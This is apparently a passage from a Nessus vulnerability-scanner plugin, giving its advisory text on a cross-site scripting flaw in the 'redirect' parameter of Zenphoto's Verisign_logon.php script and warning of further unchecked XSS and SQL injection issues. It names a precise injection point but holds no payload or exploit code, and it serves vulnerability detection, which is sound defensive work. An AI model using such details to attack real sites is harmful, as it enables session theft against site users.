"The version of Zenphoto installed on the remote host is affected by a
cross-site scripting vulnerability because it fails to properly sanitize
user input to the 'redirect' parameter of the
'zp-core/zp-extensions/federated_logon/Verisign_logon.php' script.  An
attacker may be able to leverage this issue to inject arbitrary HTML and
script code into a user's browser to be executed within the security
context of the affected site. 

Note that the install is also likely affected by several additional
cross-site scripting issues as well as multiple SQL injections and other
vulnerabilities, although Nessus has not tested for those.");
